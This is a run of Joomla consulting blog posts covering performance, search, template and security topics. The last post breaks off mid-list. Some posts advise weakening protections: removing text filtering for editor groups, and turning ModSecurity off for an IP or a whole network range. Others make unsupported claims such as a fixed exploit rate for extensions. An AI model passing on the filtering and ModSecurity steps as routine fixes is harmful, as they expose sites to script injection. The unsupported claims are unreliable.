The problem is, there are many Joomla websites out there that have HTTPS enabled across the board, either because of a common misconception that websites would be more secure with HTTPS (which is not true, as HTTPS is never about website security, but about the security/secrecy of the transmitted data) or because administrators want to enable HTTPS mode in the backend, but are enabling it globally to avoid issues (such as this one).

Whatever the reason is, we think it’s unprofessional to run an entire Joomla website in secure mode – it just means that the administrator knows nothing about security or knows a bit about security but doesn’t know how to implement his knowledge properly. If you’re one of those administrators, then fear not, we can help! Just contact us and we’ll fix the problem for you in no time and at a very affordable cost.

The Number of Installed Extensions on Your Joomla Website Is Inversely Proportional to Its Security

We know – that’s a very long title for a post, but we couldn’t think of a better title that would explain what this post is about. In any case…

We got an email near the end of the day yesterday from a new client – he was complaining that his website, although running Joomla 2.5, was hacked. We checked his website and he had nearly 20 3rd party components installed, around 70 3rd party modules, and over a 100 3rd party plugins. He also had 5 templates (yes – 5) that were serving his website. We told him that he has a very large number of 3rd party extensions installed, and that the number of 3rd party extensions is inversely proportional to the security of a Joomla website.

Huh? He said…

So, we explained more. We told him that there’s an average of 10% chance for any extension to have an exploit – and we’re talking about good extensions here. Bad extensions score a much higher average for exploitability (is that a word?), but, on the other hand, they are often less targeted since hackers usually target widely used extensions for maximum damage. This essentially means that the more (reputable or non-reputable) extensions you have, the more vulnerable your Joomla website is…

So, what can you do if you have many installed extensions on your Joomla website?

Well, there are a few things that need to be done to address this problem:

  • Uninstall unneeded extensions.

    We doubt that many websites out there actually need/use 70+ modules. So, you need to go through each and every extension and check if it’s used or not, and whether its use is necessary or not. If the answer is no to any of the previous questions, then it should be uninstalled.

  • Ensure that all your extensions are up-to-date.

    Once you have remove all the unneeded extensions, then you will need to upgrade all your extensions to the latest version. Doing so will increase your protection against attacks exploiting vulnerabilities in old versions of your extensions.

  • Ask some Joomla security experts to review your website.

    Joomla security experts are there for a reason – to make sure that your Joomla website is safe and resilient to most malicious attacks. Asking them for help usually saves you a lot of time and money on the long run.

By following the above tips, you will certainly have a faster and a safer Joomla website. If you need help with implementing these tips, then feel free to contact us. We immediately answer emails and we always answer the phone (usually from the first couple of rings), we are very friendly, and our rates are very affordable. What more could you want?

Your Joomla Website Is Really, Really Slow? Maybe It’s an Extension!

One of the companies that we regularly do work for complained about a sudden slowness issue with their Joomla website. They said that their Joomla websites was taking about half a minute to load. So, we tested the website, and it was taking exactly 30 seconds to load – and that was on each attempt. That was odd!

We immediately thought that the website was hacked (since extreme slowness is a sign of a compromised website) but it wasn’t. The website was perferctly clean. We then thought, it might be a firewall issue, which made perfect sense since wrong firewall settings can cause this behavior. But it was not! The website was slow even from within the company’s network (their data center was on-premise).

So, we disabled all the plugins and the modules (yes – we followed our good old and reliable Joomla debugging technique), and we discovered it was one of the modules that was causing all this issue. In fact, that module was using curl to retrieve some information from a 3rd party website. Since that other website blocked all automated requests above a certain daily limit, the script was timing out in 30 seconds. So, why the 30 seconds, you might ask? It’s because the script had the following code:

curl_setopt($ch, CURLOPT_TIMEOUT, 30);

To fix the problem, we had one of 3 options:

  • Contact the 3rd party website and ask them to whitelist our client’s IP, which is something that we did, but unfortunately, that 3rd party website was a government website with rigid procedures (which is very normal).
  • Disable the module, which was out of the question because the company used that module to display some critical and up-to-date information to its clients.

  • Implement a caching system. In other words, send just one request every hour, and cache the results of that request, and, whenever the module has to be displayed, we retrieve the information from the local cache and not through curl.

The latter solution was the best, so we implemented it. We also created a cron job to retrieve the information every hour and store it in the cache. This has ensured that there would be no scenario where a page would hang on a visitor waiting to load some data from a 3rd party website.

As a rule of thumb, never use curl inside any of your Joomla extensions, since a curl call immediately makes your website (or at least part of your website) dependent on a 3rd party website that may or may not block your request, and that may or may not exist in a few months.

If your website is really slow and you suspect it’s one of your extensions, then we can fix the problem for you. All you need to do is to contact us and we’ll implement a professional for you in no time and for a very small fee.

JCE Editor Strips Away IFrame Code

If you’re using JCE (which is, by far, the best rich text editor in Joomla) you might have run into an issue where, when you insert an iframe into the body of the article and then you click on “Save”, the iframe disappears.

In fact, this is default behavior so nearly everyone who’s using JCE and who has tried to insert an iframe ran into the above issue. This issue became even more problematic ever since YouTube changed their default embed code from flash to HTML5 (which uses an iframe). So, to address the YouTube embed problem with JCE, people use the old embed method instead, which means that their YouTube videos will not work on iPhones. Not a good option!

Now, what many people don’t know is that there is a setting in JCE that explicitly tells the editor to strip away all iframe tags for security reasons. So, in order to allow iframes in your JCE editor, you will need to do the following:

  • Login to the Joomla backend of your website.
  • Go to Components -> JCE Editor -> Profiles.
  • Click on Default (just above “Default profile for all users” – we are assuming that you are using the default profile).
  • Click on the Plugin Parameter tab.
  • Click on Media Support on the right panel.
  • Under Standard Parameters, choose “Yes” for Allow IFrames.
  • Click on Save on the top right.
  • Click on the Features & Layout tab.
  • Scroll down to the bottom of the page, and ensure that the checkbox next to Media Support under Additional Features is checked. If it’s not checked, then check it and then click on Save at the top right. Usually it’s checked by default, but you never know.
  • That’s it!.

You should now be able to freely add an iframe tag in JCE editor. Now, if you’re still having issues, then it might be that there is another problem elsewhere:

  • While still in Joomla’s backend, go to Site -> Global Configuration.
  • Click on Text Filters tab.
  • Ensure that the user that has a problem with the iframe has its user group’s Filter Type set to No Filtering. For example, if the user belongs to the Manager user group, then you need to set his Filter Type to No Filtering.
  • Click on Save on the top.

If that still didn’t solve the problem, then you will need to ask for Joomla professional help. Just contact us and we’ll solve the problem for you in as little time and as little cost as possible.

A Simple Joomla Module to Display a Fancybox Popup

At itoctopus, we always provide solutions. But the solutions that we are really proud of are the simple solutions, the solutions that don’t involve a lot of work to implement, the solutions that are clear and that actually work!

Today, we are proud to announce that we have created a Joomla 2.5 module that will be used to display a FancyBox iframe on any Joomla page. That iframe can be a page on your Joomla website or it can be an external page.

The reason why we have developed this solution is that we have searched everywhere for a working solution that didn’t conflict with Joomla, but we found none. Nearly every so-called solution didn’t work right out of the box.

So, without further delay, you can download the module from here.

Quick notes:

  • The settings in the module are very obvious and you shouldn’t have a problem making it work. If you do, please contact us. Note that we charge money for our services, even if the module was released for free use.

  • If you set the “Cookie Lifetime (in days)” to 0 then the popup will always appear. Usually this is not the desired behavior, but if you want it, it can be done.

  • We can modify the module for you to work only under certain conditions – for example, if you want it to only work for non-registered users.

  • The module has FancyBox and jquery.cookie.js embedded. No need to download and install them.

  • The module can display pages from your own website, but we suggest you create a completely blank template to assign to those pages before displaying them in a popup. If you don’t have one, then we have one ourselves. You can download it from here.

We hope that our module works for you – if it doesn’t or if you need some alterations, then please contact us. Again, note that our very affordable fees apply.

Search in Joomla Returns Only 50 Results

If you perform a search on your regular Joomla website, you will notice that the search results will only display a maximum of 50 matches, even though you might have more. So, why is that and how to fix it?

To answer the “why” part of the question, Joomla is a heavy CMS, and, obviously, its developers know that. That’s why they put a default limit of 50 on search results, so that the search results page won’t run out of memory and/or won’t timeout on large websites with more than 10k articles.

Fixing the problem is extremely simple, and can be done the following way:

  • Login to the backend of your Joomla website.

  • Go to “Extensions” -> Plugin Manager.

  • Type in “Search – Content” next to filter and press the Enter key.

  • Click on the Search – Content plugin (it should be the first match).

  • Under basic options on the top right, change the value of Search Limit from 50 to the number of your choice. Note that a high number can cause performance/timeout issues on your website, so be careful.

  • Click on Save on the top right. That’s it!.

We highly recommend that you test the search functionality on your Joomla website after changing the above value and to see if the search has become slow. If this is the case, then try with a lower number until the search speed becomes acceptable.

There are ways to substantially optimize Joomla’s search functionality but they require some changes in its core. If you really want to go this way, then what you need to do is to modify the search query in such a way that it only returns the IDs of the rows matching your search criteria, and then, in your view, you will need to run a query for each and every item displayed to get the rest of the information. This ensures that a huge search won’t inundate your server’s memory with unnecessary information (such as the title, the introtext, the author’s information, the published date, etc…) about rows that are not displayed on the served page.

You can also speed up the search by eliminating unnecessary joins from the query (again, this requires modifications in Joomla’s core).

The last part of this post is highly technical, and if you need help implementing it, then please contact us. We have enhanced Joomla’s search functionality on many sites so far and we can definitely do the same with yours. Our fees are affordable, our work is professional, and we are the most reliable developers on this planet. Oh, and we are extremely friendly too!

K2 Category Settings Disappear After Save on a Joomla Migrated Website

We love K2 (we actually said that before) and we think that it’s a better content manager than Joomla’s own content manager. In fact, we are increasingly helping companies migrating the content of their Joomla websites from Joomla to K2.

However, there are always little issues with K2, which is perfectly acceptable considering its huge functionality and the relatively small team behind it. However, some of these issues are quite annoying. One critical problem with K2 is that although the category settings are preserved when migrating a Joomla website from 1.5 to 2.5, they are lost on first save. Let us explain more…

Let’s assume you have just migrated your K2 powered Joomla website from 1.5 to 2.5. The K2 extension content migration is extremely simple and all you need to do is to export the old K2 tables through phpMyAdmin and import them (also through phpMyAdmin) to your new website. Everything will work as it should (provided you set the access field in both the #__k2_categories and the #__k2_items tables to “1″ after migration – if not you will definitely experience what’s described here), your items and categories will appear as they should since all the settings will be ported.

But, say you open a K2 category for editing, and then you save it, then all your previous settings for that category will be lost. This is because the K2 administrator in Joomla 2.5 assumes that the category settings are stored (in the database) in a way that is different from how they were stored in Joomla 1.5. This is a very serious problem if you have many categories and many articles with altered settings!

So, how can this problem be solved?

Well, there are four options to solve this problem:

  1. You re-create the settings in Joomla 2.5, while taking advantage of the settings inheritance feature of K2 in case you have many categories with the same settings. This works well if you just have a few categories with user-set settings.
  2. You modify the K2 template to ensure that the look & feel is consistent regardless of the category settings you have stored in the database. However, there are four drawbacks to this method:

    1. It is only good when the settings for all the categories is the same.
    2. It requires programming skills to be implemented.

    3. Changing any category’s settings from K2’s backend in Joomla will no longer work. This means that every time you need to make a change, you will need to do it in the template itself.

    4. If you change your K2 template, then your layout settings will not be ported, and you have to re-create them in the new template.

  3. You can ask some Joomla consultants (such as us!) to migrate your settings to Joomla 2.5 so that you won’t have the problem at all. This option will cost you money but it’s definitely the ideal solution.

If you need help with implementing any of the options above, then please contact us. We are always here to help (24/7/365 or 366, if it’s a leap year!), we know exactly how to fix your problem, our fees are affordable, and we are very, very friendly!

Quick Joomla Security Tip: Disable PHP Execution in the Images Folder

We have been securing/cleaning Joomla websites for so long that we have identified the three-step process a malicious attacker performs to hack a Joomla website:

  1. The attacker injects a PHP file in the images directory.

  2. The attacker then replicates the PHP script into other directories where it’s under the radar. This strategy ensures that the attacker maintains access to the Joomla website even if the main PHP script uploaded to the images directory is deleted. The attacker usually replicates the PHP script simply by executing it with specific parameters.

  3. The attacker then executes the PHP script or one of its clones with different parameters. This script execution results in at least one of the following:

    • Permission changes in core files.
    • Code change in core files. Such code change includes, but is not limited to:

      • Malicious lines in the .htaccess file often resulting in Google seeing the website as spammy.
      • Changes to the application.php or framework.php files, mainly adding some malicious content from a remote website, thus infecting your visitors’ machines with malware and slowing down your whole website.

      • Changes to core JS files essentially doing the same as above.

    • Sending spam – either directly from the uploaded file or after creating a not-so-easy to find file somewhere on your machine and using it to send spam.

    • Reading critical information from the configuration file (such as the database host, name, username, and password).

    • Manipulating your data or wiping out your whole database.

    • Wiping out your whole website – especially if you have very loose permissions on your Joomla website.

The above is a standard process, and there are certainly many variations, but a common step is, in 90% of the cases, the first step. Once an attacker is able to upload and execute a PHP file onto your website, then he’s already in control.

Now, of course, the heart of the problem is how-oh-how was the attacker able to upload that PHP file in the first place. Was it a Joomla vulnerability issue? Was it a loosely secured extension? Was it an exploitable text editor? Was it something else?

The reasons may be many – but the result is the same, the website will become compromised! But… What if we could disable PHP execution in the images directory, wouldn’t that stop this vicious change of events?

The answer is yes!

Disabling PHP execution in the images directory will mean that even if someone sneaked a PHP file to your images directory, it won’t be executed. In fact, when the attacker tries to execute the malicious script, he will only see the code. Nothing will happen!

So, how to disable PHP execution?

Well, it’s simple. In fact – it’s very simple! Here’s what needs to be done:

  • If your Joomla website runs under Plesk:
    • Create an .htaccess file with the following content:

      php_flag engine off
      AddType text/plain .php
      AddType text/plain .php5
      RemoveHandler .php

    • Upload the above .htaccess file to the images directory.

    • Change the permissions of the .htaccess file to 444.

  • If your Joomla website runs under WHM/cPanel

    • Create an .htaccess file with the following content:

      RemoveType .php

    • Upload the above .htaccess file to the images directory and change its permissions to 444 as nobody needs to write to it.

    • That’s it!

If everybody applies the above tip, then there would be a huge reduction in the number of hacked Joomla websites, but, unfortunately, many Joomla administrators think that their websites are immune or are just intimidated to do the above. In case you’re one of the latter, then we understand your fear. Just contact us and we’ll do the above for you in no time and for a very little fee.

Note: It’s an excellent strategy to apply the above method to any folder that Joomla writes to (except those folders where Joomla creates/writes to PHP files).

“Class Datetime Not Found” Error in Joomla

Yesterday (yes – we work on Sundays!), we were moving a Joomla website hosted on a Plesk version 9 server to a Plesk version 11 server – the transfer was pretty smooth, except that when we tested the website on the new server, we got a blank page. Restarting Apache didn’t solve the problem (although it did, on other occasions), and modifying the configuration.php file to change error reporting to maximum still yielded a blank page.

So, we started to debugging Joomla, and, after a while, we were successful in forcing Joomla to spit the actual error. It was this one:

Class ‘DateTime’ not found in /libraries/joomla/utilities/date.php on line 20

Huh?

We know that DateTime is a core PHP class, so how come Joomla can’t find it. So, we checked the documentation of the DateTime class on the php.net website, and it turned out that this function requires a PHP version of at least 5.2. To our surprise, the new server that we were moving to had a PHP version of 5.1.5. We were shocked!

Unfortunately, Plesk only allowed us to upgrade to PHP version 5.3.5 – which was enough to solve the problem, but far from ideal, since the current PHP version (at the time of writing this post) is PHP 5.5.4.

So, if you’re having a blank page issue when moving your Joomla 2.5 website from one server to another, you should do the following:

  • Restart Apache on the target (new) server (it might be that the directory structure is cached).

  • Ensure that you have the minimum PHP version (which is 5.2.4) and MySQL version (which is 5.0.4) required to run Joomla. You can do this check by creating and running a small PHP file that has the following single line code:

    <?php phpinfo(); ?>

    Running the above file will give you all sorts of information about your LAMP environment, including the PHP, MySQL, and Apache version. If you find the information generated by that file overwhelming, then you can replace its content with the below:

    <?php
    	echo("Apache Version Is: ".apache_get_version()."<br />");
    	echo("MySQL Version Is: ".mysqli_get_client_version()."<br />");
    	echo("PHP Version Is: ".phpversion()."<br />");
    ?>

    The above will just return the Apache version, the MySQL version, and the PHP version you have on your server.

Now, if you have done all the above and you’re still getting the same problem (or if you don’t have the technical skills to do what’s written in this post), then fear not. All that you need to do is to contact us! We are always there, we are immediately available, we can solve your problem in no time, and we won’t charge you much!

JComments Captcha Not Working on Refresh

One of our clients called us today and told us that the captcha below JComments comments is not working properly. She said that it works on page load, but once she hits the refresh button below the captcha, the captcha image disappears. Hmmm!

We did a long investigation and we finally discovered that the reason behind this issue was the usual Joomla suspect, sh404SEF – no surprise there! Solving the problem consisted of disabling sh404SEF for the JComments component.

In case you don’t know how to disable sh404SEF for a particular component, then follow this guide:

  • Login to the backend of your Joomla website.

  • Click on Components -> sh404SEF.

  • Click on sh404SEF Configuration.

  • In the popup window, click on By Component.

  • Scroll down until you see jcomments to the left.

  • Change the first column and the fourth column for the jcomments row to Use Joomla! Router and Use Joomla! router.php respectively.

  • That’s it! Now you should no longer have problems with JComments‘ captchas.

Now we know that this solution is not ideal, but it does work. Another solution is to make sh404SEF compatible with JComments (or the other way around) – but this will take a lot of time and may not be worth the effort.

If you’re having the above problem and if you have tried our solution with no avail, then fear not, we’re always here to help. Just contact us and you can rest assured that we’ll solve your problem swiftly, professionally, and for a very reasonable cost.

How to Handle Spelling Mistakes in Joomla’s Search

A company that we deal with runs a very large Joomla website mainly discussing law topics. The company complained that Joomla’s search doesn’t address a very common human issue: spelling mistakes.

For example, if you are trying to search for Lawyer and you searched for Lauyer, then you won’t find anything using Joomla’s search, this is because these are technically two different words. However, it’s obvious that you made a mistake and that you want to search for Lawyer instead of Lauyer.

Another issue that the company was facing is the spelling differences between US English and UK English, for example, when someone from the UK tries to search for the word colour, he won’t find anything, because in the US, it is spelled color. So, how can this be addressed?

Well, there are two ways:

  1. Create an algorithm that will generate all the possible erroneous ways a word can be spelled and then link these misspelled words to the original word.

  2. Use the MySQL built-in SoundEx function to search for all occurrences that sound like a certain word.

Now, unless you work for a very large company and you have access to a lot of user generated data, the first option is out of question. Because simply, you will spend months working on a solution, and you will still miss many misspelled words. Not to mention that this solution can be very, very slow and inefficient.

The second option is much better because it’s simpler and much more efficient. All you need to do is to tell MySQL that you want matches that contain words that sound like your word. So, if you’re searching for the word colour, you’ll get the matches that contain the word color. If you’re searching for Jon Smith, then you’ll get matches containing John Smith. If you make a spelling mistake, then Joomla will be flexible and will return results, despite your errors! Now that’s a good search engine!

So, how does the SoundEx function work?

OK, we have stated that the SoundEx function is the key to the solution, but we haven’t mentioned how it works. In short, and without getting into the details, the function SoundEx returns the phonetic representation of a word. That phonetic representation represents how the word sounds. When two words have the same SoundEx value, then they sound the same. Try the below experiment:

  • Login to phpMyAdmin.

  • Click on any database on the right, and then click on SQL on the top right.

  • Run the following query:

    Select SOUNDEX('itoctopus');

    You will get a value of I32312.

  • Now run the following query:

    Select SOUNDEX('itoctopous');

    (Notice the extra “o”)

    And you will get the same result as above. This means that both words sound the same.

So, how do you add this functionality to Joomla?

Unfortunately, while the concept is easy, putting it into practice is not as easy as one thinks! Here are the steps that will need to be done:

  • Create a plugin that will automatically create an index of all the words (and their SoundEx value) used in an article every time your create a new one.
  • Modify the search plugin (that of content and/or K2 if you’re using K2) the following way: Each time someone enters a query, split that query into words and for each word, search for the word, in your index (which is a database table) that has the same SoundEx value. Finally, re-create the query out of the correctly spelled words in your index and apply the search.

As you can see, the concept of handling spelling mistakes when searching in Joomla is simple but the implementation is definitely challenging. It took us nearly a week to devise, implement, and test the above solution – but it was worth it! Our client was definitely happy and we were thrilled because we felt that we made a critical functionality in Joomla even better!

But, will the above method slow down the Joomla’s search functionality?

The short answer is yes – the not so short answer is that Joomla’s search can always be enhanced. So, the enhancement done on the default search can be used to make up for the slight performance hit caused by this fuzzy search. (Feel free to Google fuzzy search to know exactly what we mean – in fact, this whole post is about implementing fuzzy search in Joomla – but we figured that not so many out there are familiar with the technical term).

If you want to implement the above but you don’t have the necessary resources/expertise/time to do it, then feel free to contact us! Our rates are favorable, our work is professional, we know our Joomla, and we are the friendliest Joomla developers on planet Earth!

“The template for this display is not available.” Error on Joomla

A couple of days ago we were working a skeleton template that is used to display some articles in lightbox popups. The template was very straightforward and had a few lines of code and had only one module position. We created the xml manifest file and then we packaged the template into a zip file and we installed it. Everything worked smoothly. But, when we assigned a menu item to that template (or should it be when we assigned that template to a menu item? Anyway, you get the point), we where greeted with the following error:

The template for this display is not available. Please contact a Site administrator.

…and Joomla’s fallback template was used (the fallback template is Beez 20, for those who don’t know). Hmmm!

We checked our code, and we checked whether the name of the template (in the manifest file) was legitimate (e.g. just alphanumeric characters), we also checked whether the code had any errors, but nothing! Everything was OK – we then checked whether the new template folder was physically created under the templates folder and it was! We even uninstalled and reinstalled the template (note: when we deleted the template we saw this error). Double hmmmm!

So, we checked which file was spitting this error, and we found out that it was the application.php file (located under the includes directory of the Joomla website) at line 492. Here’s this line along with the lines before and after:

if (!file_exists(JPATH_THEMES . '/' . $template->template . '/index.php')) {
	JError::raiseWarning(0, JText::_('JERROR_ALERTNOTEMPLATE'));
	$template->template = 'beez_20';

So… It seems that Joomla is really not able to see the index.php file, so, we browsed to the templates folder, and we checked whether the index.php was actually located under the skeleton’s template folder, and, to our surprise, it wasn’t: we forgot to include the index.php in the manifest file! Simply uploading the index.php to that template’s directory solved the problem! Yes – we know it’s a bit silly for Joomla experts to make this mistake, but we’re only human, after all!

Are there any other reasons that can cause this problem?

There are two other reasons that can cause this problem:

  1. Using non-alphanumeric characters to name your template (remember, the folder name of the template will be the same as the template name – so, using characters that are illegal in folder names might cause this problem. Sticking with alphanumeric characters is a best practice).

  2. Installing the template through unconventional means resulting in Joomla not having the necessary file permissions to access the index.php file.

If you are having the problem and you’re still having some hard time solving it even after reading the above guide, then fear not – we’re here to help. All you need to do is to contact us and you can rest assured that we can solve your problem in no time and at a very affordable cost!

Internal Server Error When Trying to Upload Files with Quotes Through Joomla’s Media Manager

About a week ago, one of our clients was seeing an Internal Server Error when he was trying to upload an image with a quote through the media manager. That was weird, we thought… So, we changed error reporting to maximum and we still saw the same, ambiguous, Internal Server Error – clearly something that was application-independent and consequently server-related was causing this problem. So we thought there was only one way to know what the error was: we needed to check Apache’s error logs.

Since our client was using WHM, the Apache error log file was called error_log and was located under the /usr/local/apache/logs directory. So we browsed to that directory and opened the error_log file, only to see the following error:

[Tue Sep 17 09:17:26 2013] [error] [client The Joomla website's IP] ModSecurity: Access denied with code 44 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/conf/modsec2.conf"] [line "15"] [id "1234123456"] [msg "Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM 0, IQ 1, IP 0, IH 0, FL 0"] [hostname "The Joomla website's base URL"] [uri "/administrator/index.php"] [unique_id "UjhWZkPj8rEAAEzeW@8AAABA"]

Aha! It was ModSecurity that was causing this problem – so all we needed to do was to disable ModSecurity, but we didn’t want to disable it for everyone, just for our client’s IP. So, we opened up the .htaccess file located under the root directory of the website, and we added the following line to the top of the file:

SetEnvIfNoCase REMOTE_ADDR ^173\.199\.145\.150$ MODSEC_ENABLE=Off

Note: The above assumes that the IP you want to disable ModSecurity for is 173.199.145.150).

And that solved the problem – our client was able to upload files that have quotes anywhere. What’s interesting is that the above didn’t compromise any security on the server, because ModSecurity is only disabled for one IP, and not for all IPs.

Now for a quick FAQ on the above fix:

  • Is the above a guaranteed fix?

    No – it’s not. On a shared hosting environment it might be that your host has disabled this feature (where you can disable ModSecurity in .htaccess).

  • I am using a dedicated server, but the above is not working for me!

    Double check that your IP is correct in the line above. You can check how the server sees your IP by creating a small PHP file (under the root directory of your website) called whatismyip.php with the following code:

    <?php
    	echo($_SERVER['REMOTE_ADDR']);
    ?>

    Visiting that file will tell you what your IP is, from the server’s perspective. Note: By no means we are implying that each server sees your IP differently, but, if you are behind a proxy, or if you are on the same network of your server, then your IP might be seen differently by your server.

  • What if I want to disable ModSecurity for a whole network?

    This can be done by simply adding the following line to your .htaccess file:

    SetEnvIfNoCase REMOTE_ADDR ^10\.192\.* MODSEC_ENABLE=Off

    Note that we are assuming in the line above that the block of IPs that you want to disable ModSecurity for starts with 10.192.

  • I want to disable ModSecurity altogether, are there any security implications?

    Yes there are. While some argue that ModSecurity has little use, we believe that it provides an extra level of security on the server. We highly recommend against disabling it – unless, of course, it is causing more harm than good. In that case, you will need to look at alternatives to protect your server.

  • Are there other methods to address problems caused by ModSecurity?

    Yes there are – another method for addressing problems related to ModSecurity would be to modify the rule(s) causing the problem(s). Naturally, this won’t be a walk in the park – modifying ModSecurity rules require advanced knowledge with ModSecurity and Apache security. Note that if you play with ModSecurity rules you might cause serious security issues on your website – we recommend you contact some security experts to modify rules for you in case you want to go with this route.

  • What if the above doesn’t work?

    If the above line doesn’t work for you (even after checking that you are allowed to disable ModSecurity and that your IP is correct), then we recommend you contact us. We are Joomla security experts and we are confident we can fix your problem. Our fees are reasonable, our work is professional, and we are super friendly! What are you waiting for? Shoot us an email or give us a call!

How to Remove the “moduletable” DIV from a Joomla Module

A consulting company that subcontracts work to us sent us a quick task late at night yesterday. Everytime they create a module on a particular website, the module’s content is encapsulated in the following div:

<div class=”moduletable”>Module Content</div>

The encapsulating div is causing problems in the layout and they want to remove it.

Now, if one does a research on the Internet on this particular issue he’ll find complex solutions that require modifying Joomla’s core or using a plugin instead of a module. This is odd because the solution couldn’t be simpler (and it seems that nobody knows it): the solution consists of simply changing the style (we’re not talking about CSS styles here) of the module in the index.php of the template. Here’s how to do it:

  • Connect, through FTP, to the root directory of your Joomla website.
  • Go to the main directory of the template serving your Joomla Website (for example, /templates/mytemplate).

  • Open the index.php file (which is the main template file).

  • Search for the name of the position of the module in question (for example, ad-bottom).

  • Replace the following code:

    <jdoc:include type="modules" name="ad-bottom" style="xhtml" />

    with:

    <jdoc:include type="modules" name="ad-bottom" style="none" />

    Note that we are assuming that the position’s name of your module is ad-bottom.

  • That’s it! By replacing xhtml with none we ensured that Joomla no longer encapsulates the module’s content in a div block.

We always wonder how come these very simple (and very important) tips are badly documented to the point that even on Joomla’s own forums you’ll find half baked complex solutions to the same problem – while the problem can be resolved by just changing one simple word.

Thanks for solving this problem, but what are the other module styles?

There are 6 module styles: none, xhtml, rounded, horz, table, and outline. The first two are the most used. You can read more about them here.

Some of my modules have “raw” as their style? What is that?

raw is the equivalent of none. In fact, raw as a module style doesn’t exist, so Joomla automatically defaults to none when it sees it. The reason why some developers use raw as a style when they’re including modules in the template is because they are accustomed to Joomla’s manifest (xml) files where fields have a raw property.

Now, if some of your modules are giving you some hard time when you’re including them (for example, the formatting is all messed up), then try the above method. If it still doesn’t work for you or if the whole thing is a bit over your head, then please contact us. We are always here for help and we don’t charge much!

What Is “ItemId” in a Joomla URL and Why It Is Important to Have It?

If you have been running a Joomla website for some time, you would have noticed the presence of a parameter called ItemId in your Joomla URLs. Curiously, the ItemId has nothing to do with the id of the article being displayed – so what is it and why is it there?

The ItemId is the ID of the menu item that a particular page belongs to. For example, if an article belongs to a certain category, then the ID of the menu item pointing to that category will be the Item ID of that page. Yes – we know – that sounds a bit complicated, but let us explain.

Let’s assume that you have a category called Products on your Joomla website. Let’s also assume that you have created a menu item pointing to the Products category in the menu item manager. The ID of that menu item will be the Item ID of any article belonging to the Products category, so, if the ID of the Products menu item (not the category) is 57, then the URL of a random page under the Products category would be something like the following:

http://www.yourjoomlawebsite.com/index.php?option=com_content&id=[article_id]&ItemId=57

But why is it necessary to have the ItemId?

Joomla, as you already know, allows you to assign modules (and templates) to menu items – and the only way that Joomla associates menu items with modules is through the ID of the menu item (this association is guaranteed by the table #__modules_menu) – this means that Joomla must know, for each page, the menu item ID for that page. That’s why we have the ItemId. So, in short, the presence of the ItemId parameter in the URL is necessary to tell Joomla which modules to assign to the page.

But, what about sh404SEF’s URLs? There’s no ItemId in those URLs, so how can Joomla manage?

Well, actually, sh404SEF’s URLs do have the ItemID, but it’s sort of hidden. If you open up the URL of any link in sh404SEF’s URL Manager, you will see the ItemId in the URL (note that the ItemId of the default URL of a certain page is the one that applies).

What if the ItemId is removed from the URL?

If you remove the ItemId from the URL of a certain page, then only those modules assigned to all pages or those assigned to all pages except those selected will display on that particular page.

Now, if you have problems on your Joomla URLs because of the ItemId or because of any other reason, then, as usual, we’re here to help. Feel free to contact us and rest assured that our work is professional and that our fees are extremely affordable. Oh, and we are very, very (we can’t stress very enough) friendly!

How to Search for an Article by ID in Joomla

If you have been working on Joomla websites for a long time now, you might have run into the situation where you needed to search for an article by ID instead of its title. This is an extremely easy task if you have access to phpMyAdmin (you just need to login to phpMyAdmin, and go the #__content table for the database that is serving your Joomla website, and then click on Search on the top, and then filter on the id field), but what if you don’t? Is there a way to do this through Joomla’s backend?

Fortunately, there is: Joomla 2.5 has an undocumented feature that allows administrators to search for an article by ID, here’s how to do this:

  • Login to Joomla’s backend.
  • Go to Content > Article Manager

  • Next to the Filter field, type the following: id:[article_id], for example id:1501, where 1501 is the ID of the article that you’re searching for.

  • Surprise! Now the article with the ID that is equal to [article_id] is listed. Easy huh?

To save you some research time, here’s a quick faq about this feature:

Why is this feature undocumented?

We don’t know – but it might be that the Joomla developers believe it is too technical, and that Joomla administrators do not need to care about the IDs of their articles (which is wrong, in our opinion).

Can one search for multiple articles in one shot by searching for id:[article_1_id],[article_2_id],[article_3_id]?

Unfortunately no.

Are there other Easter Eggs like this one?

Not that we know of.

Does this feature work on the frontend?

No it doesn’t. This feature is exclusive to the backend.

Does one need to be a super administrator for this method to work?

No – it works for anyone who has access to the backend.

How did you know about this feature?

We knew about the existence of this feature while reading the code of a Joomla core file some time ago.

If you have the ID of an article and if you want to search for it, then the above method is guaranteed to work, provided you have access to Joomla’s backend. But, if you need to run some extremely advanced search on your Joomla articles, then probably your best option is to contact us, we can run any query that you want (no matter how complicated it is), we can also extend Joomla’s article manager functionality to include that query as a “special” filter. Our fees are affordable, our work is professional, and we are the friendliest programmers on planet Earth!

Why Page Navigation Should Be Disabled on Large Joomla Websites

While optimizing a migrated Joomla website today, we noticed that one of the queries was taking an exceptionally long time. It was this one:

SELECT a.id, CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(':', a.id, a.alias) ELSE a.id END as slug, CASE WHEN CHAR_LENGTH(cc.alias) THEN CONCAT_WS(':', cc.id, cc.alias) ELSE cc.id END as catslug FROM #__content AS a LEFT JOIN #__categories AS cc ON cc.id = a.catid WHERE a.catid = 17 AND a.state = 1 AND a.access = 1 AND (a.state = 1 OR a.state = -1) AND (publish_up = '0000-00-00 00:00:00' OR publish_up <= '2013-09-03 04:41:23') AND (publish_down = '0000-00-00 00:00:00' OR publish_down >= '2013-09-03 04:41:23') ORDER BY a.created DESC

In our scenario, the above query was returning 37,461 rows and was taking over a second to execute! A second to execute a query, while somehow acceptable on small Joomla websites (if it’s just for one or two queries), is a major issue on large ones with high traffic because of the build-up effect (when many similar queries are run on the server simultaneously).

Now, going back to our query, a quick glimpse indicated that it was used to generate links, but why was it run on every page and what was making it run?

So we searched for the file containing patterns from the above query, and we discovered that it was the file pagenavigation.php (a plugin) which is located under the /httpdocs/plugins/content/pagenavigation directory. This plugin is responsible for displaying navigation at the bottom of an article (Next Article, Previous Article, etc…) – this made perfect sense on why the query was run on every page. Unfortunately, our discovery also revealed, without a doubt, that it is Joomla’s core that is causing this problem.

Just to make sure before openly blaming Joomla, we opened up the above file and we were surprised to see that the query ran when “Show Navigation” (a setting at the article level) is enabled (and this setting is enabled by default). We were disappointed with the inefficiency of this plugin. Why-oh-why does it need to get the slugs of all the articles in the same category when it only needs a few? In our case, the query was returning close to 40k results, and was dramatically slowing down the whole website. To add insult to injury, we weren’t even using navigation on the website – it was just enabled, but not being used. So we disabled it globally. This was done the following way:

  • We logged in to the backend of the Joomla website.
  • We clicked on Content -> Article Manager.

